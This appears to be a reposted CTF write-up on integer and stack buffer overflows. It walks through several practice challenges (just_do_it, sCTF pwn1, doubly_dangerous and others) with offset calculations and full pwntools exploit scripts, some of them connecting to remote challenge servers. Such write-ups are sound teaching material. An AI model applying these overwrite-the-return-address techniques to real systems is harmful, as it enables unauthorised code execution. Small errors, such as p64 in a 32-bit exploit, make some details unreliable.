CTF Notes: Overflow Exploitation

integer overflow

insert image description here

Typical Integer Overflow Exploitation

This v3 is an unsigned number, the maximum can only be 255, if it exceeds, it will be mod 255, so you can pass in a total of 0x105,

In this way, what he gets is that 6 is in line with the length limit, thereby bypassing the detection of if. The size of dest is 0x11h, plus 0x4h of ebp, so it needs to be filled with 0x15h in front
insert image description here

backdoor

exp:

python2
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',29748)
 
p.recvuntil("name:")
payload=(0x11+0x4)*'a'+p32(0x0804858B)
payload=payload.ljust(262,'a')
p.sendline(payload)
 
p.interactive()
python 
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',29748)
p.recvuntil("name:")
payload=(0x11+0x4)*b'a'+p32(0x0804858B)
payload=payload.ljust(262,b'a')
p.sendline(payload)
 
p.interactive()

CTF 3rd 2017-just_do_it

insert image description here

Enter 32-bit ida analysis
insert image description here

It is observed that the program flow is probably to read and save the flag into a global variable, and compare the input at the end of the program. If it is correct, it will be printed correctly, otherwise it will be printed incorrectly. We observe that s is located at [ebp-0x20], and the input fgets can input up to 32 characters, which cannot cover ret. But we found that the parameter v6 printed by puts is located at [ebp-Ch] and can be covered by only 20 characters away from the input point s. And because the program reads the flag into the global variable, it can print out the flag by overwriting v6 as flag by inputting.

insert image description here

 #!/usr/bin/python
#coding:utf-8
from pwn import *
io = process('./just_do_it')
flag_addr = 0x0804A080
payload = ''                    
payload += 'A'*20
payload += p64(flag_addr)
print io.recv()
io.sendline(payload)
print io.recv()

insert image description here

sCTF 2016 q1-pwn1

insert image description here

The title enables NX protection and is a 32-bit dynamically linked ELF program

insert image description here

insert image description here

Observing variables and statements, it is found that fgets may overflow, but s is 3C away from ebp in the stack, and fgets can only input 32 characters, which is far from reaching ebp or ret. Continue to look down and find the replace function, literally replace, and see you and I characters, guess whether it is possible to replace I with you characters, let's execute the program and try
insert image description here

We found that the guess was correct. We noticed that there is a strcpy function at the end of the function, which saves v0, the replaced string after our input, into s, because we input an I and actually copy 3 characters into s, 3*32=96>0x3c, A stack overflow occurred. We input 21 I and add another arbitrary character (because 21 I is 21 you, which is 63 characters, and an extra character is needed to fill up to 64 characters) and then add the address of the get_flag function to overwrite the return value of the function. The hijacking is successful. .
insert image description here

#coding:utf-8
from pwn import *
io = process('./pwn1')
get_flag_addr = 0x08048f0d
payload = ''                    
payload += 'I'*21+'a'
payload += p32(get_flag_addr)
io.sendline(payload)
print io.recv()

EasyCTF 2017-doubly_dangerous

insert image description here

insert image description here

Obviously there are two ways of thinking about stack overflow vulnerabilities:

  1. Overwrite RIP to the give_flag address and execute the give_flag function
  2. Overwrite the value of v5 to 11.28125 to make it pass the judgment to execute the give_flag function

Through trying to find out, according to the first idea, there will be an error, and the give_flag function cannot be successfully returned.
insert image description here

The second way of thinking. First locate the judgment statement, which should be immediately after the gets function call

insert image description here

You can see that the compared variable addresses are ebp-Cand respectively 0x0804876C. Then there are only two problems left: determine ebp-Cthe offset of the user input and the hexadecimal value of 11.28125

Set a breakpoint at the output nope!instruction (the breakpoint position is appropriate to
insert image description here
run and view the stack
insert image description here

ebp-c address
insert image description here

Calculate the offset

0xffffd8ac- 0xffffd86c = 0x40 = 64

Use the IDA HEX view to determine the value of 11.28125
insert image description here

Floating point numbers are stored in big endian mode, so it is 0x41348000

from pwn import *
io = process('./doubly_dangerous')
floatValue = 0x41348000
payload = ''
payload += 'A'*0x40
payload += p32(floatValue)
io.recvuntil('Give me a string:')
io.sendline(payload)
io.interactive()

CTF-gets function

Throw it into IDA and have a look:

I have seen the familiar gets() function. Usually, as soon as I see this function, there is probably a buffer overflow vulnerability. It can be seen that the program has opened up 40H storage space for v5, so the input length exceeds 40H and overflow will occur. Then look at sprint( )function

insert image description here

Enter sub_40060D to have a look:

insert image description here

gdb-peda get offset method
insert image description here

Enter before receiving parameters

insert image description here

calculate offset

insert image description here

It can be seen that this function is the key point to obtain the flag. The program will print out the location of this function, which is 0x40060d. We need to control the overflow location and change the return address to the address of this function. The return value of our current function is located at RBP+8 position, so the overflow point can be calculated: 40H+8H=48H=72, so

#!/usr/bin/python
from pwn import *
r = remote('192.168.229.128', 10001)
r.recvuntil('WOW:')
address = r.recvuntil('\n')[:-1]
payload = 'A' * 72 + p64(int(address, 16))
r.writeline(payload)
r.interactive()
from pwn import *
r = remote('192.168.229.128', 10001)
r.recvuntil('WOW:')
address = r.recvuntil('\n')[:-1]
payload = 'A' * 72 + p64(int(address, 16))
r.writeline(payload)
r.interactive()

Guess you like

Origin blog.csdn.net/qq_37431937/article/details/124854060